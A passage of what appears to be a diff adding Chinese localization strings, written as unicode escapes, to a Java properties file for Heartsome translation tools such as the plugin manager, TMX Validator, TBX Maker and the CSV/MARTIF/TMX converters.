\u65e0\u6cd5\u8fd0\u884c\u8be5\u63d2\u4ef6\uff0c\u8bf7\u91cd\u65b0\u914d\u7f6e\u8be5\u63d2\u4ef6\u7684\u4ea4\u6362\u6587\u4ef6\u8def\u5f84\u3001\u5e76\u786e\u8ba4\u8be5\u6587\u4ef6\u53ef\u8bfb\u5199\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg9 = \u65e0\u6cd5\u5904\u7406\uff1a\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5df2\u88ab\u5220\u9664\u3002 +plugin.PluginConstants.right = \u7248\u6743\u6240\u6709 2012 Heartsome +dialog.AboutDialog.title = \u5173\u4e8e + +# \u63d2\u4ef6\u7ba1\u7406\u5bf9\u8bdd\u6846 +dialog.PluginConfigurationDialog.title = \u63d2\u4ef6\u7ba1\u7406\u5668 +dialog.PluginConfigurationDialog.addBtn = \u6dfb\u52a0(&A) +dialog.PluginConfigurationDialog.editBtn = \u7f16\u8f91(&E) +dialog.PluginConfigurationDialog.deleteBtn = \u5220\u9664(&D) +dialog.PluginConfigurationDialog.cancel = \u5173\u95ed +dialog.PluginConfigurationDialog.columnNames1 = \u540d\u79f0 +dialog.PluginConfigurationDialog.columnNames2 = \u53ef\u6267\u884c\u6587\u4ef6 +dialog.PluginConfigurationDialog.columnNames3 = \u8f93\u51fa +dialog.PluginConfigurationDialog.columnNames4 = \u8f93\u5165 +dialog.PluginConfigurationDialog.msgTitle = \u63d0\u793a +dialog.PluginConfigurationDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u63d2\u4ef6\u3002 +dialog.PluginConfigurationDialog.msgTitle2 = \u786e\u8ba4 +dialog.PluginConfigurationDialog.msg2 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u7684\u63d2\u4ef6\u5417\uff1f +dialog.PluginConfigurationDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u63d2\u4ef6\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91\u63d2\u4ef6 +dialog.PluginConfigManageDialog.title1 = \u6dfb\u52a0\u63d2\u4ef6 +dialog.PluginConfigManageDialog.title2 = \u7f16\u8f91\u63d2\u4ef6 +dialog.PluginConfigManageDialog.nameLbl = \u540d\u79f0\uff1a +dialog.PluginConfigManageDialog.commandLbl = \u53ef\u6267\u884c\u6587\u4ef6\uff1a +dialog.PluginConfigManageDialog.browseBtn = \u6d4f\u89c8(&B)... +dialog.PluginConfigManageDialog.names1 = \u53ef\u6267\u884c\u6587\u4ef6 [*.exe] +dialog.PluginConfigManageDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.PluginConfigManageDialog.dialogTitle = \u9009\u62e9\u63d2\u4ef6\u7684\u53ef\u6267\u884c\u6587\u4ef6 +dialog.PluginConfigManageDialog.group = \u5feb\u6377\u952e +dialog.PluginConfigManageDialog.keyLbl = \u5feb\u6377\u952e\uff1a +dialog.PluginConfigManageDialog.processGroup = \u8f93\u5165 +dialog.PluginConfigManageDialog.outputSegemntBtn = \u5f53\u524d\u6587\u672c\u6bb5 +dialog.PluginConfigManageDialog.outputDocumentBtn = \u5f53\u524d\u6587\u6863 +dialog.PluginConfigManageDialog.outputBlankBtn = \u65e0 +dialog.PluginConfigManageDialog.returnGroup = \u8f93\u51fa +dialog.PluginConfigManageDialog.inputUpdateFileBtn = \u5df2\u66f4\u65b0\u7684\u4ea4\u6362\u6587\u4ef6 +dialog.PluginConfigManageDialog.inputUpdateDocuBtn = \u5df2\u66f4\u65b0\u7684\u6587\u6863 +dialog.PluginConfigManageDialog.inputBlankBtn = \u65e0 +dialog.PluginConfigManageDialog.switchLbl = \u4ea4\u6362\u6587\u4ef6\uff1a +dialog.PluginConfigManageDialog.switchBrowseBtn = \u6d4f\u89c8(&W)... +dialog.PluginConfigManageDialog.dialogTitle2 = \u9009\u62e9\u63d2\u4ef6\u7684\u4ea4\u6362\u6587\u4ef6 +dialog.PluginConfigManageDialog.msgTitle = \u63d0\u793a +dialog.PluginConfigManageDialog.msg1 = \u8bf7\u8f93\u5165\u63d2\u4ef6\u540d\u79f0\u3002 +dialog.PluginConfigManageDialog.msg2 = \u8bf7\u8bbe\u7f6e\u63d2\u4ef6\u7684\u53ef\u6267\u884c\u6587\u4ef6\u3002 +dialog.PluginConfigManageDialog.msg3 = \u8be5\u63d2\u4ef6\u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 + +# \u63d2\u4ef6\uff1aTMX Validator +plugin.TMXValidator.msg1 = TMX \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\n +plugin.TMXValidator.msg2 = \u6587\u6863\uff1a +plugin.TMXValidator.msg3 = \u4e0d\u662f TMX \u6587\u6863\uff1b\n +plugin.TMXValidator.msg4 = \u6b63\u5728\u6839\u636e DTD \u6267\u884c\u9a8c\u8bc1 ...\n +plugin.TMXValidator.msg5 = TMX \u4e34\u65f6\u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\n +plugin.TMXValidator.msg6 = \u6b63\u5728\u9a8c\u8bc1 TMX \u6587\u4ef6\u7684\u5408\u6cd5\u6027... \n +plugin.TMXValidator.msg7 = \u9519\u8bef\uff1a\u672a\u58f0\u660e\u6e90\u8bed\u8a00\u3002\n +plugin.TMXValidator.msg8 = \u9519\u8bef\uff1a\u6e90\u8bed\u8a00 {0} \u4e0d\u6b63\u786e\u3002\n +plugin.TMXValidator.msg9 = \u6e90\u8bed\u8a00\uff1a{0}\n +plugin.TMXValidator.msg10 = \u6587\u6863\u6709\u6548\u3002\n +plugin.TMXValidator.msg11 = \u672a\u627e\u5230\u6587\u4ef6 {0} \u7684\u7f13\u5b58\u3002 +plugin.TMXValidator.msg12 = \u9519\u8bef\uff1a \u8282\u70b9\u5305\u542b\u672a\u58f0\u660e\u7684\u8bed\u8a00\u3002\n +plugin.TMXValidator.msg13 = \u9519\u8bef\uff1a \u5143\u7d20\u7f3a\u5c11\u8bed\u8a00\u4e3a {0} \u7684 \u3002\n +plugin.TMXValidator.msg14 = \u9519\u8bef\uff1a \u5143\u7d20\u4e2d\u5c5e\u6027 i \u7684\u503c\u91cd\u590d\u3002 +plugin.TMXValidator.msg15 = \u9519\u8bef\uff1a/ \u5143\u7d20\u4e2d\u5c5e\u6027 i \u7684\u503c\u91cd\u590d\u3002 +plugin.TMXValidator.msg16 = \u9519\u8bef\uff1a/ \u5143\u7d20\u7684\u6570\u76ee\u4e0d\u6210\u5bf9\u3002 +plugin.TMXValidator.msg17 = \u9519\u8bef\uff1a/ \u5143\u7d20\u6ca1\u6709\u5bf9\u5e94\u7684 / \u5143\u7d20\u3002 +plugin.TMXValidator.msg18 = \u9519\u8bef\uff1a\u8bed\u8a00\u4ee3\u7801 {0} \u65e0\u6548\u3002 +plugin.TMXValidator.msg19 = \u9519\u8bef\uff1a\u65e5\u671f\u683c\u5f0f {0} \u65e0\u6548\u3002 +plugin.TMXValidator.msg20 = \u9519\u8bef\uff1atuid \u5c5e\u6027\u503c {0} \u91cd\u590d\u3002 + +dialog.ColumnRemoveDialog.title = \u5220\u9664\u5217 +dialog.ColumnRemoveDialog.btnRemove = \u5220\u9664\u6240\u9009\u5217 +dialog.ColumnRemoveDialog.msgTitle = \u63d0\u793a +dialog.ColumnRemoveDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u5217\u3002 +dialog.ColumnRemoveDialog.msg2 = \u81f3\u5c11\u9700\u8981\u4fdd\u7559\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u5220\u9664\u7684\u5217\u3002 +dialog.ColumnTypeDialog.title = \u9009\u62e9\u5217\u5c5e\u6027 +dialog.ColumnTypeDialog.column1 = \u5217 +dialog.ColumnTypeDialog.column2 = \u5217\u7c7b\u578b +dialog.ColumnTypeDialog.column3 = \u7c7b\u578b +dialog.ColumnTypeDialog.column4 = \u5c5e\u6027 +dialog.ColumnTypeDialog.column5 = \u672f\u8bed\u8bed\u8a00 +dialog.ColumnTypeDialog.btnLoadConfiguration = \u52a0\u8f7d\u914d\u7f6e... +dialog.ColumnTypeDialog.btnSaveConfiguration = \u4fdd\u5b58\u914d\u7f6e... +dialog.ColumnTypeDialog.fdTitle = \u9009\u62e9\u914d\u7f6e\u6587\u4ef6 +dialog.ColumnTypeDialog.filterName1 = \u914d\u7f6e\u6587\u4ef6 [*.ctc] +dialog.ColumnTypeDialog.filterName2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.ColumnTypeDialog.msgTitle = \u63d0\u793a +dialog.ColumnTypeDialog.msg1 = \u6240\u9009 CTC \u914d\u7f6e\u6587\u4ef6\u4e2d\u7684\u5217\u6570\u4e0e\u5f53\u524d\u6587\u4ef6\u4e0d\u540c\uff0c\u65e0\u6cd5\u52a0\u8f7d\u914d\u7f6e\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +dialog.ColumnTypeDialog.logger1 = [LOG] \u52a0\u8f7d CTC \u914d\u7f6e\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ColumnTypeDialog.savefdTitle = \u9009\u62e9\u4fdd\u5b58\u4f4d\u7f6e\u53ca\u4fdd\u5b58\u6587\u4ef6\u540d +dialog.ColumnTypeDialog.logger2 = [LOG] \u4fdd\u5b58\u914d\u7f6e\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ColumnTypeDialog.msg2 = \u672a\u5b9a\u4e49\u4ee5\u4e0b\u5217\u7684\u5c5e\u6027\uff0c\u8bf7\u91cd\u65b0\u5b9a\u4e49\uff1a +dialog.ColumnTypeDialog.msg3 = \u4ee5\u4e0b\u8bed\u8a00\u7684\u5217\u91cd\u590d\uff0c\u8bf7\u91cd\u65b0\u5b9a\u4e49\uff1a +dialog.ColumnTypeDialog.msg4 = \u672a\u5b9a\u4e49\u4ee5\u4e0b\u8bed\u8a00\u7684\u672f\u8bed\uff0c\u8bf7\u91cd\u65b0\u5b9a\u4e49\uff1a + +dialog.CSV2TMXConverterDialog.title = CSV to TMX Converter +dialog.CSV2TMXConverterDialog.lblRowCount = {0} \u884c +dialog.CSV2TMXConverterDialog.lblColCount = {0} \u5217 +dialog.CSV2TMXConverterDialog.fileMenu = \u6587\u4ef6(&F) +dialog.CSV2TMXConverterDialog.openItem = \u6253\u5f00 CSV \u6587\u4ef6... +dialog.CSV2TMXConverterDialog.exportItem = \u8f6c\u6362\u4e3a TMX \u6587\u4ef6... +dialog.CSV2TMXConverterDialog.exitItem = \u9000\u51fa +dialog.CSV2TMXConverterDialog.taskMenu = \u4efb\u52a1(&T) +dialog.CSV2TMXConverterDialog.deleteColItem = \u5220\u9664\u5217... +dialog.CSV2TMXConverterDialog.colPropertyItem = \u9009\u62e9\u8bed\u8a00... +dialog.CSV2TMXConverterDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.CSV2TMXConverterDialog.helpContentItem = \u5e2e\u52a9\u5185\u5bb9... +dialog.CSV2TMXConverterDialog.aboutItem = \u5173\u4e8e... +dialog.CSV2TMXConverterDialog.version = \u7248\u672c +dialog.CSV2TMXConverterDialog.openToolItem = \u6253\u5f00 CSV \u6587\u4ef6 +dialog.CSV2TMXConverterDialog.exporToolItem = \u8f6c\u6362\u4e3a TMX \u6587\u4ef6 +dialog.CSV2TMXConverterDialog.deleteColToolItem = \u5220\u9664\u5217 +dialog.CSV2TMXConverterDialog.setColToolItem = \u9009\u62e9\u8bed\u8a00 +dialog.CSV2TMXConverterDialog.helpToolBar = \u5e2e\u52a9\u5185\u5bb9 +dialog.CSV2TMXConverterDialog.msgTitle = \u63d0\u793a +dialog.CSV2TMXConverterDialog.msg1 = CSV \u6587\u4ef6\u4e2d\u81f3\u5c11\u8981\u6709\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 CSV \u6587\u4ef6\u3001\u5e76\u6b63\u786e\u8bbe\u7f6e\u5176\u5217\u5206\u9694\u7b26\u3001\u6587\u672c\u754c\u5b9a\u7b26\u548c\u7f16\u7801\u3002 +dialog.CSV2TMXConverterDialog.logger1 = [LOG] \u89e3\u6790 CSV \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.CSV2TMXConverterDialog.msg2 = CSV \u6587\u4ef6\u4e2d\u81f3\u5c11\u8981\u6709\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 CSV \u6587\u4ef6\u3001\u5e76\u6b63\u786e\u8bbe\u7f6e\u5176\u5217\u5206\u9694\u7b26\u3001\u6587\u672c\u754c\u5b9a\u7b26\u548c\u7f16\u7801\u3002 +dialog.CSV2TMXConverterDialog.msg3 = \u8bf7\u8bbe\u7f6e\u6bcf\u5217\u5bf9\u5e94\u7684\u8bed\u8a00\u3002 +dialog.CSV2TMXConverterDialog.msg4 = \u5df2\u6210\u529f\u5c06 CSV \u8f6c\u6362\u4e3a TMX\u3002 +dialog.CSV2TMXConverterDialog.logger2 = [LOG] \u5bfc\u51fa TMX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.CSV2TMXConverterDialog.ExportDialog.title = \u8f6c\u6362\u4e3a TMX \u6587\u4ef6 +dialog.CSV2TMXConverterDialog.ExportDialog.lblTMX = TMX \u6587\u4ef6\uff1a +dialog.CSV2TMXConverterDialog.ExportDialog.btnBrowse = \u6d4f\u89c8(&B)... +dialog.CSV2TMXConverterDialog.ExportDialog.dialogTitle = \u9009\u62e9\u8981\u4fdd\u5b58\u7684 TMX \u8def\u5f84\u548c\u6587\u4ef6\u540d +dialog.CSV2TMXConverterDialog.ExportDialog.filterName1 = TMX \u6587\u4ef6 [*.tmx] +dialog.CSV2TMXConverterDialog.ExportDialog.filterName2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.CSV2TMXConverterDialog.ExportDialog.optionsGrp = \u9009\u9879 +dialog.CSV2TMXConverterDialog.ExportDialog.src = \u6e90\u8bed\u8a00 +dialog.CSV2TMXConverterDialog.ExportDialog.versionTMX = TMX \u7248\u672c +dialog.CSV2TMXConverterDialog.ExportDialog.ok = \u8f6c\u6362 +dialog.CSV2TMXConverterDialog.LanguageSettingDialog.title = \u9009\u62e9\u8bed\u8a00 + +dialog.CSVSettingDialog.title = \u6253\u5f00 CSV \u6587\u4ef6 +dialog.CSVSettingDialog.lblFile = CSV \u6587\u4ef6\uff1a +dialog.CSVSettingDialog.btnBrowse = \u6d4f\u89c8(&B)... +dialog.CSVSettingDialog.dialogTitle = \u9009\u62e9 CSV \u6587\u4ef6 +dialog.CSVSettingDialog.filters1 = CSV \u6587\u4ef6 [*.csv] +dialog.CSVSettingDialog.filters2 = \u6587\u672c\u6587\u4ef6 [*.txt] +dialog.CSVSettingDialog.filters3 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.CSVSettingDialog.cmbColSeparator = \u5217\u5206\u9694\u7b26\uff1a +dialog.CSVSettingDialog.cmbTextDelimiter = \u6587\u672c\u5b9a\u754c\u7b26\uff1a +dialog.CSVSettingDialog.cmbEncoding = \u7f16\u7801\uff1a +dialog.CSVSettingDialog.cmbLang = \u4e3b\u8bed\u8a00\uff1a +dialog.CSVSettingDialog.cmbXCSTemplate = XCS \u6a21\u677f\uff1a +dialog.CSVSettingDialog.msgTitle = \u63d0\u793a +dialog.CSVSettingDialog.msg1 = \u8bf7\u9009\u62e9 CSV \u6587\u4ef6\u3002 +dialog.CSVSettingDialog.msg2 = \u8bf7\u8bbe\u7f6e TBX \u7684\u4e3b\u8bed\u8a00\u3002 + +dialog.JavaPropertiesViewerDialog.title = Java Properties Viewer +dialog.JavaPropertiesViewerDialog.fileMenu = \u6587\u4ef6(&F) +dialog.JavaPropertiesViewerDialog.openFileItem = \u6253\u5f00 Java Properties \u6587\u4ef6 +dialog.JavaPropertiesViewerDialog.quitItem = \u9000\u51fa +dialog.JavaPropertiesViewerDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.JavaPropertiesViewerDialog.aboutItem = \u5173\u4e8e... +dialog.JavaPropertiesViewerDialog.toolBar = \u6253\u5f00 Java Properties \u6587\u4ef6 +dialog.JavaPropertiesViewerDialog.helpToolItem = \u5e2e\u52a9\u5185\u5bb9 +dialog.JavaPropertiesViewerDialog.columnNames1 = \u952e +dialog.JavaPropertiesViewerDialog.columnNames2 = \u503c +dialog.JavaPropertiesViewerDialog.names1 = Java Properties \u6587\u4ef6 [*.properties] +dialog.JavaPropertiesViewerDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] + +dialog.Martif2TBXConverterDialog.title = MARTIF to TBX Converter +dialog.Martif2TBXConverterDialog.txtMartif = MARTIF \u6587\u4ef6\uff1a +dialog.Martif2TBXConverterDialog.btnMartifBrowse = \u6d4f\u89c8(&B)... +dialog.Martif2TBXConverterDialog.txtTBX = TBX \u6587\u4ef6\uff1a +dialog.Martif2TBXConverterDialog.btnTBXBrowse = \u6d4f\u89c8(&W)... +dialog.Martif2TBXConverterDialog.fileMenu = \u6587\u4ef6(&F) +dialog.Martif2TBXConverterDialog.exitItem = \u9000\u51fa +dialog.Martif2TBXConverterDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.Martif2TBXConverterDialog.aboutItem = \u5173\u4e8e... +dialog.Martif2TBXConverterDialog.dialogName = MARTIF to TBX Converter +dialog.Martif2TBXConverterDialog.dialogVersion = \u7248\u672c\uff1a1.1.0 +dialog.Martif2TBXConverterDialog.dialogTitle1 = \u539f\u59cb MARTIF \u6587\u4ef6 +dialog.Martif2TBXConverterDialog.names1 = MARTIF \u6587\u4ef6 [*.mtf] +dialog.Martif2TBXConverterDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.Martif2TBXConverterDialog.dialogTitle2 = \u5c06 TBX \u6587\u4ef6\u4fdd\u5b58\u4e3a +dialog.Martif2TBXConverterDialog.filters1 = TBX \u6587\u4ef6 [*.tbx] +dialog.Martif2TBXConverterDialog.filters2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.Martif2TBXConverterDialog.ok = \u8f6c\u6362 +dialog.Martif2TBXConverterDialog.cancel = \u53d6\u6d88 +dialog.Martif2TBXConverterDialog.msgTitle = \u63d0\u793a +dialog.Martif2TBXConverterDialog.msg1 = \u8bf7\u9009\u62e9 MARTIF \u6587\u4ef6\u3002 +dialog.Martif2TBXConverterDialog.msg2 = \u8bf7\u8bbe\u7f6e\u8981\u4fdd\u5b58\u7684 TBX \u8def\u5f84\u53ca\u6587\u4ef6\u540d\u3002 +dialog.Martif2TBXConverterDialog.msg3 = MARTIF \u5df2\u6210\u529f\u8f6c\u6362\u4e3a TBX\u3002 + +dialog.RTFCleanerDialog.title = RTF Cleaner +dialog.RTFCleanerDialog.aboutName = RTF Cleaner +dialog.RTFCleanerDialog.aboutVersion = \u7248\u672c\uff1a1.1.0 +dialog.RTFCleanerDialog.fileMenu = \u6587\u4ef6(&F) +dialog.RTFCleanerDialog.addStylesItem = \u6e05\u7406 RTF \u6587\u4ef6... +dialog.RTFCleanerDialog.exitItem = \u9000\u51fa +dialog.RTFCleanerDialog.addStyleItem = \u6e05\u7406 RTF \u6587\u4ef6 +dialog.RTFCleanerDialog.dialogTitle = \u9009\u62e9 RTF \u6587\u4ef6 +dialog.RTFCleanerDialog.filters1 = RTF \u6587\u4ef6 [*.rtf] +dialog.RTFCleanerDialog.filters2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.RTFCleanerDialog.msgTitle = \u63d0\u793a +dialog.RTFCleanerDialog.msg1 = \u4ece {0} \u4e2d\u5220\u9664\u9690\u85cf\u6587\u672c\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\uff1a +dialog.RTFCleanerDialog.msg2 = RTF \u6587\u4ef6\u4e2d\u7684\u6807\u8bb0\u5df2\u6e05\u7406\u5b8c\u6210\u3002 + +dialog.TBXMakerDialog.title = TBX Maker +dialog.TBXMakerDialog.lblRowCount = {0} \u884c +dialog.TBXMakerDialog.lblColCount = {0} \u5217 +dialog.TBXMakerDialog.fileMenu = \u6587\u4ef6(&F) +dialog.TBXMakerDialog.openCSVItem = \u6253\u5f00 CSV \u6587\u4ef6... +dialog.TBXMakerDialog.exportTBXItem = \u8f6c\u6362\u4e3a TBX \u6587\u4ef6... +dialog.TBXMakerDialog.exitItem = \u9000\u51fa +dialog.TBXMakerDialog.taskMenu = \u4efb\u52a1(&T) +dialog.TBXMakerDialog.deleteColItem = \u5220\u9664\u5217... +dialog.TBXMakerDialog.colPropertyItem = \u5217\u5c5e\u6027... +dialog.TBXMakerDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.TBXMakerDialog.helpContentItem = \u5e2e\u52a9\u5185\u5bb9... +dialog.TBXMakerDialog.aboutItem = \u5173\u4e8e... +dialog.TBXMakerDialog.aboutItemName = TBX Maker +dialog.TBXMakerDialog.aboutItemVersion = \u7248\u672c\uff1a1.1.0 +dialog.TBXMakerDialog.openToolItem = \u6253\u5f00 CSV \u6587\u4ef6 +dialog.TBXMakerDialog.exporToolItem = \u5bfc\u51fa\u4e3a TBX \u6587\u4ef6 +dialog.TBXMakerDialog.deleteColToolItem = \u5220\u9664\u5217 +dialog.TBXMakerDialog.setColToolItem = \u9009\u62e9\u5217\u5c5e\u6027 +dialog.TBXMakerDialog.helpToolItem = \u5e2e\u52a9\u5185\u5bb9 +dialog.TBXMakerDialog.msgTitle = \u63d0\u793a +dialog.TBXMakerDialog.msg1 = CSV \u6587\u4ef6\u4e2d\u81f3\u5c11\u8981\u6709\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 CSV \u6587\u4ef6\u3001\u5e76\u6b63\u786e\u8bbe\u7f6e\u5176\u5217\u5206\u9694\u7b26\u3001\u6587\u672c\u754c\u5b9a\u7b26\u548c\u7f16\u7801\u3002 +dialog.TBXMakerDialog.logger1 = [LOG] \u89e3\u6790 CSV \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.TBXMakerDialog.msg2 = CSV \u6587\u4ef6\u4e2d\u81f3\u5c11\u8981\u6709\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 CSV \u6587\u4ef6\u3001\u5e76\u6b63\u786e\u8bbe\u7f6e\u5176\u5217\u5206\u9694\u7b26\u3001\u6587\u672c\u754c\u5b9a\u7b26\u548c\u7f16\u7801\u3002 +dialog.TBXMakerDialog.msg3 = \u8bf7\u5148\u8bbe\u7f6e\u5217\u5c5e\u6027\u3002 +dialog.TBXMakerDialog.msg4 = CSV \u6587\u4ef6\u5df2\u6210\u529f\u8f6c\u6362\u4e3a TBX\u3002 +dialog.TBXMakerDialog.logger2 = [LOG] \u5bfc\u51fa TBX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.TBXMakerDialog.ExportDialog.title = \u8f6c\u6362\u4e3a TBX \u6587\u4ef6 +dialog.TBXMakerDialog.ExportDialog.lblTBX = TBX \u6587\u4ef6\uff1a +dialog.TBXMakerDialog.ExportDialog.btnBrowse = \u6d4f\u89c8(&B)... +dialog.TBXMakerDialog.ExportDialog.dialogTitle = \u9009\u62e9\u5bfc\u51fa\u4f4d\u7f6e\u548c\u5bfc\u51fa\u6587\u4ef6\u540d +dialog.TBXMakerDialog.ExportDialog.names1 = TBX \u6587\u4ef6 [*.tbx] +dialog.TBXMakerDialog.ExportDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.TBXMakerDialog.ok = \u8f6c\u6362 + +dialog.TMX2TXTConverterDialog.title = TMX to TXT Converter +dialog.TMX2TXTConverterDialog.ok = \u8f6c\u6362 +dialog.TMX2TXTConverterDialog.cancel = \u53d6\u6d88 +dialog.TMX2TXTConverterDialog.fileMenu = \u6587\u4ef6(&F) +dialog.TMX2TXTConverterDialog.quitItem = \u9000\u51fa +dialog.TMX2TXTConverterDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.TMX2TXTConverterDialog.aboutItem = \u5173\u4e8e... +dialog.TMX2TXTConverterDialog.tmxLbl = TMX \u6587\u4ef6\uff1a +dialog.TMX2TXTConverterDialog.tmxBrowseBtn = \u6d4f\u89c8(&B)... +dialog.TMX2TXTConverterDialog.txtLbl = TXT \u6587\u4ef6\uff1a +dialog.TMX2TXTConverterDialog.txtBrowseBtn = \u6d4f\u89c8(&W)... +dialog.TMX2TXTConverterDialog.TMXNames1 = TMX \u6587\u4ef6 [*.tmx] +dialog.TMX2TXTConverterDialog.TMXNames2 = \u6240\u6709\u6587\u4ef6 [*] +dialog.TMX2TXTConverterDialog.TXTNames1 = Translator's Workbench \u6587\u4ef6 [*.txt] +dialog.TMX2TXTConverterDialog.TXTNames2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.TMX2TXTConverterDialog.msgTitle = \u63d0\u793a +dialog.TMX2TXTConverterDialog.msg1 = \u8bf7\u9009\u62e9 TMX \u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msg2 = \u8bf7\u9009\u62e9 TXT \u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msgTitle2 = \u786e\u8ba4 +dialog.TMX2TXTConverterDialog.msg3 = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialog.TMX2TXTConverterDialog.job = TMX \u8f6c\u6362\u6210 TXT +dialog.TMX2TXTConverterDialog.task = TMX \u8f6c\u6362\u6210 TXT... +dialog.TMX2TXTConverterDialog.msg4 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msg5 = \u65e0\u6cd5\u5c06 TMX \u8f6c\u6362\u4e3a TXT\uff0c\u8bf7\u91cd\u8bd5\u3002 +dialog.TMX2TXTConverterDialog.msg6 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX v1.4 \u7248\u672c\u6807\u51c6\uff0c\u4e0d\u652f\u6301\u5f53\u524d\u7684 TMX \u7248\u672c\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u7b26\u5408 TMX v1.4 \u7248\u672c\u6807\u51c6\u7684\u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msg7 = \u8be5\u6587\u4ef6\u7684\u5185\u5bb9\u4e3a\u7a7a\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msg8 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u672a\u627e\u5230 {0} \u7684\u7f13\u5b58\uff0c\u8bf7\u91cd\u8bd5\u3002 + +dialog.TMXValidatorDialog.title = TMX Validator +dialog.TMXValidatorDialog.fileMenu = \u6587\u4ef6(&F) +dialog.TMXValidatorDialog.openFileItem = \u9a8c\u8bc1 TMX \u6587\u4ef6 +dialog.TMXValidatorDialog.clearCharItem = \u6e05\u7406 TMX \u6587\u4ef6 +dialog.TMXValidatorDialog.quitItem = \u9000\u51fa +dialog.TMXValidatorDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.TMXValidatorDialog.aboutItem = \u5173\u4e8e... +dialog.TMXValidatorDialog.openItem = \u9a8c\u8bc1 TMX \u6587\u4ef6 +dialog.TMXValidatorDialog.clearCharsItem = \u6e05\u7406 TMX \u6587\u4ef6 +dialog.TMXValidatorDialog.helpToolItem = \u5e2e\u52a9\u5185\u5bb9 +dialog.TMXValidatorDialog.names1 = TMX \u6587\u4ef6 [*.tmx] +dialog.TMXValidatorDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.TMXValidatorDialog.styledText1 = \u6b63\u5728\u6e05\u7406 {0}...\n +dialog.TMXValidatorDialog.msg1 = \u6e05\u7406 {0} \u65f6\u51fa\u73b0\u672a\u77e5\u7684\u9519\u8bef\n +dialog.TMXValidatorDialog.styledText2 = \u6587\u4ef6\u5df2\u6e05\u7406\u3002\n + +dialog.XSLTransformationDialog.title = XSL Transformation +dialog.XSLTransformationDialog.lblSource = \u6e90\u6587\u4ef6\uff1a +dialog.XSLTransformationDialog.btnSource = \u6d4f\u89c8(&B)... +dialog.XSLTransformationDialog.lblXSL = XSL \u6837\u5f0f\u8868\uff1a +dialog.XSLTransformationDialog.btnXSL = \u6d4f\u89c8(&R)... +dialog.XSLTransformationDialog.lblTarget = \u5df2\u8f6c\u6362\u7684\u6587\u4ef6\uff1a +dialog.XSLTransformationDialog.btnTarget = \u6d4f\u89c8(&W)... +dialog.XSLTransformationDialog.btnOpenFile = \u5b8c\u6210\u540e\u6253\u5f00\u5df2\u8f6c\u6362\u7684\u6587\u4ef6 +dialog.XSLTransformationDialog.fileItem = \u6587\u4ef6(&F) +dialog.XSLTransformationDialog.exitItem = \u9000\u51fa +dialog.XSLTransformationDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.XSLTransformationDialog.aboutItem = \u5173\u4e8e... +dialog.XSLTransformationDialog.aboutItemName = XSL Transformation +dialog.XSLTransformationDialog.aboutItemVersion = \u7248\u672c\uff1a1.1.0 +dialog.XSLTransformationDialog.fileDialogTitle1 = \u9009\u62e9\u6e90\u6587\u4ef6 +dialog.XSLTransformationDialog.filters1 = XLIFF \u6587\u4ef6 [*.hsxliff] +dialog.XSLTransformationDialog.filters2 = SDLXLIFF \u6587\u4ef6 [*.sdlxliff] +dialog.XSLTransformationDialog.filters3 = TMX \u6587\u4ef6 [*.tmx] 